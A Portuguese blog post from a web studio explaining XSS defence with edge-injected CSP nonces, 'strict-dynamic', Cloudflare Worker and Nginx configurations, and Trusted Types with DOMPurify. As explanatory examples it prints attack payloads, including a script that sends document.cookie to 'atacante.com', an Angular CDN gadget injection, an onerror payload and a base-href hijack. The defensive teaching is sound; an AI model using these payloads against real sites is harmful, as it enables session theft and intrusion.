Como Bloquear Ataques XSS Usando Nonces Criptográficos na Edge e Content-Security-Policy strict-dynamic
Mais de 90% das políticas Content-Security-Policy (CSP) em produção oferecem apenas uma falsa sensação de segurança. Para evitar que os scripts do site deixem de funcionar, muitos administradores incluem a diretiva 'unsafe-inline' ou adicionam listas abertas de domínios externos (https://cdnjs.cloudflare.com, etc.), o que permite a atacantes carregar scripts maliciosos alojados nesses mesmos CDNs e contornar a política por completo.
Num ataque de Cross-Site Scripting (XSS), um script injetado no navegador do utilizador pode roubar tokens de sessão, alterar formulários de checkout ou esvaziar carteiras digitais em segundos. Em setores como Fintech Startups (Neobanks) e SaaS Empresarial B2B, o impacto financeiro e reputacional é devastador.
No Webxtek Studio, resolvemos o clássico dilema entre segurança e performance: em vez de desativar a cache da CDN para gerar nonces no servidor de origem, injetamos um nonce criptográfico de 128 bits por pedido diretamente na borda (Edge) usando Cloudflare Workers ou Nginx sub_filter, mantendo a política 'strict-dynamic' e 100% de cache hit na CDN.
Esta blindagem no navegador complementa a segurança perimetral dos servidores apresentada no Alerta CISA, NSA e FBI: Blindagem PHP, Node e Portas Expostas.
Abaixo tens a configuração exata para implementar esta defesa no teu frontend.
1. Da Camisa Branca à Pulseira Holográfica: Porque é que os Cabeçalhos CSP Tradicionais Falham?
Para bloqueares ataques XSS sem perderes a cache da CDN, tens de substituir políticas CSP baseadas em listas de domínios e 'unsafe-inline' por uma política 'strict-dynamic' combinada com um nonce criptográfico de 128 bits injetado em tempo real na Edge através de HTMLRewriter ou Nginx sub_filter.
Para perceberes porque é que a maioria das políticas CSP em produção oferece apenas uma ilusão de segurança, precisamos de analisar como os navegadores modernos interpretam a especificação W3C Content Security Policy Level 3 e os estudos da equipa de segurança da Google publicados em web.dev sobre Strict CSP.
Tradicionalmente, um administrador de sistemas escreve um cabeçalho CSP parecido com isto:
Content-Security-Policy: script-src 'self' 'unsafe-inline' https://cdnjs.cloudflare.com https://www.googletagmanager.com;
Esta configuração falha redondamente em produção por três razões técnicas:
- O Suicídio do
'unsafe-inline': Como os websites modernos (em Astro, Next.js, Laravel ou WordPress) utilizam scripts inline de hidratação ou configuração JSON no HTML, os programadores adicionam'unsafe-inline'para o site não partir. No entanto, se existir uma única falha de injeção de HTML numa página, o atacante não tenta carregar um ficheiro externo: ele injeta diretamente<script>fetch('https://atacante.com/?cookie='+document.cookie)</script>e o browser executa o roubo porque'unsafe-inline'o autorizou! - Contorno de Allowlists via Script Gadgets e JSONP: Mesmo que removas o
'unsafe-inline', ao autorizares um domínio de CDN comocdnjs.cloudflare.comoujsdelivr.net, estás a autorizar todos os milhões de ficheiros alojados nesse domínio. Um atacante injeta simplesmente<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.6.0/angular.min.js"></script>seguido de uma expressão de template, e usa uma biblioteca legítima assinada pela CDN para executar código arbitrário no navegador. - O Paradoxo da Cache na CDN vs. Unicidade do Nonce: A norma exige que cada tag
<script nonce="...">contenha um token aleatório de pelo menos 128 bits gerado exclusivamente para aquela resposta HTTP. Se o teu backend gerar o HTML comnonce="ABC"e a Cloudflare ou o Fastly guardarem essa página em cache durante 1 hora para acelerar o TTFB, o próximo milhão de visitantes vai receber o mesmononce="ABC". Um atacante faz um pedido à página, lê o nonce fixo e constrói um payload XSS que já incluinonce="ABC", contornando a proteção.
Arquitetura Insegura vs. Injeção de Nonce em Streaming na Edge:
[Abordagem 1: Nonce Gerado na Origem + Cache CDN] -> FALHA DE SEGURANÇA
Origem gera nonce="X" -> CDN guarda HTML com "X" -> Atacante lê "X" -> Injeta <script nonce="X">
[Abordagem 2: Nonce Gerado na Origem SEM Cache CDN] -> FALHA DE PERFORMANCE
Cada visita bate no servidor PHP/Node -> TTFB sobe de 18ms para 450ms -> Servidor colapsa em picos
[Abordagem 3: HTML em Cache na CDN + Injeção de Nonce na Edge (Padrão Webxtek)] -> 100% SEGURO E RÁPIDO
1. A CDN guarda o HTML estático em cache a 10ms do utilizador (100% Cache Hit).
2. A cada pedido, o Edge Worker gera 16 bytes CSPRNG (128 bits) -> Base64 nonce único.
3. O HTMLRewriter substitui os atributos <script> em streaming (zero alocação de DOM completo em RAM).
4. Qualquer script injetado pelo atacante no URL ou base de dados não conhece o nonce daquele milissegundo e morre no browser!
2. Implementação na Edge: Cloudflare Worker com HTMLRewriter e CSPRNG de 128 Bits
Quando construímos Websites de Alta Performance no Webxtek Studio, combinamos a geração de páginas estáticas e SSR com a camada de computação serverless na borda. O segredo para injetar nonces sem degradar a velocidade reside na API nativa HTMLRewriter dos Cloudflare Workers (ou Fastly Compute).
Ao contrário de fazer await response.text() e correr um .replace() (o que obrigaria o Worker a carregar todo o documento HTML para a memória RAM, atrasando o primeiro byte), o HTMLRewriter processa os chunks de rede à medida que chegam da cache ou da origem. Ele analisa a sintaxe HTML através de um analisador escrito em Rust e reescreve os nós em tempo real via streaming.
Mas atenção a um detalhe crítico de segurança: se um atacante conseguiu injetar uma tag <script> maliciosa na base de dados (Stored XSS), e o teu worker na Edge aplicar cegamente el.setAttribute('nonce', nonce) a todas as tags <script> que encontrar no HTML, o Worker vai assinar e autorizar o script do atacante!
A resposta profissional é usar um Token de Origem Secreto (Placeholder): o teu servidor de origem marca apenas os scripts legítimos com um atributo de compilação ou token de confiança (como data-wxk-trust="wxk-trusted-script-v1"). O Worker na Edge só injeta o nonce se esse atributo existir, removendo-o de imediato do HTML final entregue ao cliente.
Aqui tens o código completo de produção para o teu Cloudflare Worker (worker.mjs):
// Ficheiro: src/edge-csp-worker.mjs
// Injeção de Nonce Criptográfico de 128 bits em Streaming na Edge + CSP strict-dynamic
export default {
async fetch(request, env, ctx) {
// 1. Procurar a resposta na Cache da Edge ou no Servidor de Origem
const originResponse = await fetch(request);
// 2. Processar apenas documentos HTML (ignorar imagens, CSS, JS, JSON)
const contentType = originResponse.headers.get('content-type') || '';
if (!contentType.includes('text/html')) {
return originResponse;
}
// 3. Gerar Nonce Criptográfico de 128 bits (16 bytes CSPRNG) em Base64 por pedido
const randomBytes = new Uint8Array(16);
crypto.getRandomValues(randomBytes);
const nonce = btoa(String.fromCharCode(...randomBytes));
// Token secreto partilhado entre o teu Build/Origem e o Edge Worker
const ORIGIN_MARKER = env.CSP_ORIGIN_SECRET || 'wxk-trusted-script-v1';
// 4. Construir o cabeçalho Content-Security-Policy Level 3 Blindado
// Nota: 'unsafe-inline' e https: são ignorados por browsers modernos quando 'strict-dynamic' está presente,
// servindo apenas como fallback de retrocompatibilidade conforme a especificação W3C.
const cspDirectives = [
`default-src 'self'`,
`script-src 'nonce-${nonce}' 'strict-dynamic' https: 'unsafe-inline'`,
`style-src 'self' 'unsafe-inline'`,
`img-src 'self' data: blob: https:`,
`font-src 'self' data:`,
`connect-src 'self' https:`,
`object-src 'none'`,
`base-uri 'none'`,
`frame-ancestors 'none'`,
`form-action 'self'`,
`require-trusted-types-for 'script'`,
`upgrade-insecure-requests`
].join('; ');
// 5. Clonar cabeçalhos e injetar a política CSP e proteções complementares
const newHeaders = new Headers(originResponse.headers);
newHeaders.set('Content-Security-Policy', cspDirectives);
newHeaders.set('X-Content-Type-Options', 'nosniff');
newHeaders.set('X-Frame-Options', 'DENY');
newHeaders.set('Referrer-Policy', 'strict-origin-when-cross-origin');
// 6. Reescrever o stream HTML em tempo real: só recebe nonce o script que tiver o marcador de origem!
const rewriter = new HTMLRewriter().on('script', {
element(el) {
if (el.getAttribute('data-wxk-trust') === ORIGIN_MARKER) {
el.removeAttribute('data-wxk-trust');
el.setAttribute('nonce', nonce);
} else {
// Se um script não tiver o selo da origem (ex.: injetado por Stored XSS), removemos qualquer nonce falso
el.removeAttribute('nonce');
}
},
});
return rewriter.transform(
new Response(originResponse.body, {
status: originResponse.status,
statusText: originResponse.statusText,
headers: newHeaders,
})
);
},
};
Observa a blindagem matemática deste mecanismo:
- No teu template Astro, Next.js ou Laravel, escreves
<script data-wxk-trust="wxk-trusted-script-v1" src="/app.js"></script>. - O ficheiro HTML fica guardado em cache na CDN com zero custo de CPU na origem.
- A cada visita, o
HTMLRewriterna Edge apaga o atributodata-wxk-trust(para que ninguém no exterior consiga ver qual é o marcador secreto ao fazer View Source) e coloca no seu lugarnonce="8f9a2b...". - Se um atacante injetar
<script>alert(1)</script>num comentário ou parâmetro de URL, essa tag não tem o marcador secreto da origem, não recebe o nonce do Worker e é bloqueada instantaneamente pelo browser!
3. Alternativa Bare-Metal: Injeção de Nonce Criptográfico Diretamente no Nginx (sub_filter)
E se não utilizares Cloudflare Workers e operares os teus próprios nós de borda em Linux com Nginx (usando fastcgi_cache ou proxy_cache)? Podes aplicar exatamente a mesma arquitetura ao nível do C nativo do Nginx combinando a variável hexadecimal de 128 bits $request_id (gerada criptograficamente por cada pedido HTTP) com o módulo ngx_http_sub_module.
Para operações com sessões ativas e tokens efémeros autenticados, esta camada de borda comunica perfeitamente com clusters de cache locais, como demonstrado na nossa configuração de Redis 8: Sockets Unix, ACLs e Tuning de Memória.
Adiciona esta configuração ao teu bloco server no Nginx (/etc/nginx/sites-available/app.conf):
# ============================================================================
# /etc/nginx/sites-available/app.conf
# Injeção de Nonce Criptográfico ($request_id) em HTML Cacheado via Nginx
# ============================================================================
server {
listen 443 ssl http2;
listen [::]:443 ssl http2;
server_name app.x078.com;
# Token interno que os templates PHP/Astro usam nos scripts legítimos:
# Exemplo no HTML da origem: <script nonce="__NGINX_CSP_NONCE__" src="/main.js"></script>
set $csp_nonce $request_id;
# Substituir o placeholder secreto pelo ID único de 128 bits deste pedido em todas as ocorrências
sub_filter_once off;
sub_filter_types text/html;
sub_filter '__NGINX_CSP_NONCE__' '$csp_nonce';
# Impedir que o backend comprima o HTML com gzip antes do sub_filter atuar (o Nginx comprime à saída)
proxy_set_header Accept-Encoding "";
# Emitir o cabeçalho Content-Security-Policy com o mesmo $csp_nonce e strict-dynamic
add_header Content-Security-Policy "default-src 'self'; script-src 'nonce-$csp_nonce' 'strict-dynamic' https: 'unsafe-inline'; style-src 'self' 'unsafe-inline'; img-src 'self' data: https:; font-src 'self' data:; connect-src 'self' https:; object-src 'none'; base-uri 'none'; frame-ancestors 'none'; form-action 'self';" always;
location / {
proxy_pass http://127.0.0.1:3000;
proxy_cache STATIC_EDGE_CACHE;
proxy_cache_valid 200 1h;
proxy_cache_use_stale error timeout updating http_500 http_502 http_503 http_504;
}
}
Com apenas quinze linhas de configuração no Nginx, o teu servidor serve páginas HTML diretamente da memória RAM (proxy_cache) com tempos de resposta inferiores a 2 milissegundos, enquanto cada visitante recebe um cabeçalho CSP e atributos nonce únicos a cada requisição.
4. Fechar a Última Brecha: strict-dynamic para Terceiros e Trusted Types contra DOM XSS
Depois de teres os nonces a funcionar na Edge, surgem sempre duas questões práticas na equipa de frontend: “Como carregamos scripts externos como o Stripe ou o Google Tag Manager?” e “O que acontece se o nosso próprio JavaScript tiver uma falha de DOM XSS?”.
A. Propagação de Confiança com ‘strict-dynamic’
No passado, quando instalavas o Google Tag Manager ou um SDK de pagamentos, tinhas de adicionar dezenas de domínios ao teu script-src e rezar para que o fornecedor não mudasse de servidor no mês seguinte.
Com 'strict-dynamic', tudo isso desaparece. Basta que o bloco <script nonce="..."> inicial do teu código tenha o nonce válido. Quando esse script executa const s = document.createElement('script'); s.src = 'https://js.stripe.com/v3/'; document.head.appendChild(s);, o motor do browser (Chromium, Gecko/Firefox e WebKit/Safari) reconhece que o script pai era de confiança e autoriza automaticamente o script filho, ignorando por completo listas de domínios!
Atenção ao Detalhe Técnico: A especificação W3C determina que 'strict-dynamic' só propaga a confiança quando o script filho é inserido através de APIs seguras do DOM (createElement + appendChild). Se um script antigo tentar injetar outros scripts usando strings brutas como document.write('<script src="..."></script>') ou innerHTML, o browser bloqueia a execução por segurança.
B. Defesa contra DOM XSS com Trusted Types
E se um atacante não injetar uma tag <script> no servidor, mas explorar um erro num componente frontend que faz element.innerHTML = location.hash? Para cortar este vetor pela raiz, ativámos no nosso cabeçalho a diretiva require-trusted-types-for 'script'.
Quando esta diretiva está ativa, o navegador proíbe qualquer código JavaScript de passar uma string de texto normal para funções perigosas (DOM XSS sinks como innerHTML, outerHTML, document.write, eval ou setTimeout(string)). Se tentares fazer div.innerHTML = "<img src=x onerror=alert(1)>", o browser lança imediatamente um TypeError fatal e trava o ataque!
Para permitires apenas HTML purificado na tua aplicação, defines uma política explícita com DOMPurify no teu ficheiro JavaScript principal:
// Ficheiro: src/security/trustedTypesPolicy.js
import DOMPurify from 'dompurify';
if (window.trustedTypes && window.trustedTypes.createPolicy) {
// Criar política padrão que interceta e purifica qualquer atribuição a innerHTML
window.trustedTypes.createPolicy('default', {
createHTML: (dirtyString) => {
return DOMPurify.sanitize(dirtyString, {
RETURN_TRUSTED_TYPE: false,
FORBID_TAGS: ['script', 'iframe', 'object', 'embed', 'base'],
FORBID_ATTR: ['onerror', 'onload', 'onclick', 'onmouseover'],
});
},
createScriptURL: (url) => {
const parsed = new URL(url, window.location.origin);
const allowedOrigins = [window.location.origin, 'https://js.stripe.com'];
if (allowedOrigins.includes(parsed.origin)) {
return parsed.href;
}
throw new TypeError(`[CSP TRUSTED TYPES] URL de script bloqueado: ${url}`);
},
});
}
5. Matriz Comparativa: CSP Tradicional vs. Nonce na Edge + strict-dynamic
Na tabela seguinte comparo as diferentes abordagens de segurança de conteúdo que encontramos no mercado com a arquitetura de Edge que implementamos no Webxtek Studio:
| Vetor de Segurança / Performance | CSP Baseado em Allowlist + ‘unsafe-inline’ | Nonce Gerado no Servidor de Origem (Sem Edge) | Padrão Webxtek: Nonce na Edge + ‘strict-dynamic’ + Trusted Types |
|---|---|---|---|
| Proteção contra Stored / Reflected XSS | Nula (qualquer <script> inline corre livremente) |
Total (exige o nonce único do pedido) | Total (valida marcador secreto da origem + nonce de 128 bits) |
| Resistência a Bypass por CDN Gadgets | Vulnerável (qualquer ficheiro nas CDNs autorizadas passa) | Total se combinado com ‘strict-dynamic’ | Total (ignora listas de domínios em browsers modernos) |
| Proteção contra DOM-based XSS (innerHTML) | Nula | Nula (sem Trusted Types) | Total via require-trusted-types-for 'script' + DOMPurify |
| Taxa de Cache Hit na CDN (HTML) | 100% (cabeçalho estático) | 0% (Obriga Cache-Control: no-store) |
100% Cache Hit na CDN com reescrita em streaming |
| Manutenção ao Adicionar Novos Scripts | Alta fricção (exige editar cabeçalhos a cada novo pixel) | Baixa (propagação automática via script pai) | Zero manutenção (propaga confiança via createElement) |
Esta combinação é vital quando desenvolves produtos para Fintech Startups (Neobanks), plataformas de SaaS Empresarial B2B ou ecossistemas de Desenvolvimento Web3 & Blockchain, onde um único ataque de injeção no frontend pode comprometer fundos reais e destruir a reputação da marca num instante.
6. Checklist Prática de 5 Passos Para Produção
Segue estes cinco passos técnicos para implementares o teu CSP ‘strict-dynamic’ na Edge esta semana sem correres o risco de bloquear scripts legítimos em produção:
- Inicia em Modo Content-Security-Policy-Report-Only: Nunca apliques um cabeçalho CSP bloqueante no primeiro dia em produção. Usa o cabeçalho
Content-Security-Policy-Report-Onlyapontado para um endpointreport-tooureport-uridurante 48 horas para identificares eventuais atributos inline antigos (onclick="..."ouhref="javascript:void(0)") que precisem de ser refatorados paraaddEventListener. - Protege o Marcador de Origem (data-wxk-trust): Nunca apliques um HTMLRewriter cego que adicione nonce a todas as tags
<script>da página sem verificar um atributo secreto da origem; caso contrário, estarás a assinar também os scripts injetados por um atacante em Stored XSS. - Inclui Sempre object-src ‘none’ e base-uri ‘none’: Se te esqueceres de bloquear
base-uri 'none', um atacante que injete uma simples tag HTML<base href="https://atacante.com/">antes dos teus scripts com caminhos relativos (<script nonce="..." src="/app.js">) fará com que o navegador carregue o ficheiroapp.jsa partir do servidor do atacante com o teu nonce legítimo! - Valida a Política no Avaliador Oficial: Copia o cabeçalho gerado pelo teu servidor de staging e testa-o na ferramenta oficial CSP Evaluator (alinhada com as diretrizes de web.dev e w3.org) até obteres zero avisos de severidade alta nos motores CSP3 e CSP2.
- Audita Extensões e Sinks do DOM: Ativa
require-trusted-types-for 'script'e monitoriza a consola do navegador nos testes automatizados End-to-End (Playwright) para garantires que nenhuma biblioteca de terceiros faz manipulações inseguras deinnerHTML. Para auditar automaticamente se o teu pipeline de CI/CD tem falhas de injeção residuais em repositórios inteiros, podes recorrer à arquitetura de agentes Caçador e Verificador com sandboxing.
Construir interfaces rápidas e blindadas ao nível do navegador não tem de ser uma escolha entre velocidade de cache e segurança criptográfica. No Webxtek Studio, unimos engenharia de borda e arquitetura frontend para entregar produtos invioláveis. Através do desenvolvimento de Websites de Alta Performance, soluções avançadas de Desenvolvimento Web3 & Blockchain e arquiteturas resilientes de Websites de Manutenção Zero, garantimos que a tua plataforma digital carrega em milissegundos e protege cada sessão dos teus utilizadores.
[+] [ INDEX_DIRECTORY ] 16 tópicos ▼
- 1. Da Camisa Branca à Pulseira Holográfica: Porque é que os Cabeçalhos CSP Tradicionais Falham?
- 2. Implementação na Edge: Cloudflare Worker com HTMLRewriter e CSPRNG de 128 Bits
- 3. Alternativa Bare-Metal: Injeção de Nonce Criptográfico Diretamente no Nginx (sub_filter)
- 4. Fechar a Última Brecha: strict-dynamic para Terceiros e Trusted Types contra DOM XSS
- A. Propagação de Confiança com ‘strict-dynamic’
- B. Defesa contra DOM XSS com Trusted Types
- 5. Matriz Comparativa: CSP Tradicional vs. Nonce na Edge + strict-dynamic
- 6. Checklist Prática de 5 Passos Para Produção
- Autor
- Perguntas Frequentes
- Porque é que mais de 90% das políticas Content-Security-Policy (CSP) baseadas em listas de domínios falham contra ataques XSS reais?
- Qual é o paradoxo de performance entre gerar um nonce criptográfico no servidor de origem e usar cache HTML na CDN?
- Para que serve a diretiva 'strict-dynamic' e como simplifica a gestão de scripts de terceiros (analytics, pagamentos, widgets)?
- Como é que os Trusted Types complementam o CSP strict-dynamic na proteção contra DOM-based XSS?
- Nós Relacionados
- Sequência do Caminho
Perguntas Frequentes
Porque é que mais de 90% das políticas Content-Security-Policy (CSP) baseadas em listas de domínios falham contra ataques XSS reais?
Porque autorizar domínios inteiros como cdnjs.cloudflare.com, www.googletagmanager.com ou ajax.googleapis.com permite que um atacante utilize bibliotecas antigas de Angular, JSONP endpoints ou scripts legítimos alojados nessas mesmas CDNs (conhecidos como script gadgets) para executar código arbitrário no browser da vítima. Além disso, manter 'unsafe-inline' ativo anula por completo a proteção contra injeção de tags script.
Qual é o paradoxo de performance entre gerar um nonce criptográfico no servidor de origem e usar cache HTML na CDN?
Por definição da norma W3C CSP Level 3, um nonce (Number Used Once) tem de ser único e imprevisível em cada pedido HTTP individual. Se o teu servidor PHP ou Node.js gerar o nonce e tu guardares esse HTML em cache na CDN, todos os visitantes seguintes receberão exatamente o mesmo nonce estático, permitindo que um atacante leia o valor e injete um script com o mesmo atributo. A solução é guardar o HTML em cache com um placeholder ou reescrever o stream na Edge a cada pedido.
Para que serve a diretiva 'strict-dynamic' e como simplifica a gestão de scripts de terceiros (analytics, pagamentos, widgets)?
A diretiva 'strict-dynamic' instrui o navegador a propagar a confiança criptográfica: se um script principal possuir um atributo nonce válido no HTML inicial, qualquer novo sub-script que esse ficheiro crie dinamicamente via document.createElement('script') herda automaticamente a autorização para executar, sem precisares de manter listas intermináveis e frágeis de domínios externos.
Como é que os Trusted Types complementam o CSP strict-dynamic na proteção contra DOM-based XSS?
Enquanto o nonce e o strict-dynamic bloqueiam a injeção de tags script no HTML, não impedem que o teu próprio código JavaScript passe dados não filtrados para sinks perigosos do DOM como element.innerHTML ou document.write(). Ao adicionares require-trusted-types-for 'script' ao cabeçalho CSP, o browser bloqueia qualquer atribuição de strings diretas a esses sinks, exigindo que passem por uma política de sanitização explícita.
[ RELATED_NODES ]
> INICIAR_PROJETO
Precisa de um website que transmita confiança, apareça na pesquisa e dê mais força à sua presença digital? Comece a conversa aqui.